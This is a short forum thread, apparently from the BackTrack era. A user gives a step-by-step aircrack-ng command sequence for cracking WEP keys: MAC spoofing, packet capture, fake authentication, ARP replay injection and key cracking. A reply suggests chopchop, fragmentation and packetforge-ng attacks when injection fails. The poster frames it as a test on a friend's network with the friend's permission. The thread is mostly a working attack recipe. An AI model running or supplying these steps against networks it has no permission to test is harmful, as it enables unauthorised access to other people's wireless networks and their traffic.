Aireplay-ng help

[Tweakedeh]

First off I dont know if theres much of a difference but I'm using BT2 final.
I have got my key using this method...

airmon-ng stop wlan0
ifconfig wlan0 down
macchanger -m 00:11:22:33:44:55 wlan0
airmon-ng start wlan0
airodump-ng wlan0
know bssid and channel
airodump-ng -c (channel) -w (FileName) --bssid (BSSID) wlan0
save that window
aireplay-ng -1 0 -a (BSSID) -e (ESSID) -h 00:11:22:33:44:55 wlan0
aireplay-ng -3 -b (BSSID) -h 00:11:22:33:44:55 wlan0
aircrack-ng -b (BSSID) (filename)-01.cap

Then I though this was cool so I went over to my firends house and he said I could try and get his but the injection doesn't work. I barley get any #Data and I've let it run for over an hour. Does any one have any Ideas?

Thanks

Try chopchop and fragment attacks. There are different attack for different situations.
Try to get your xor file and then produce ARP packets from it using packetforge-ng.
After that you use aireplay-ng --interactive to replay your generated packets...
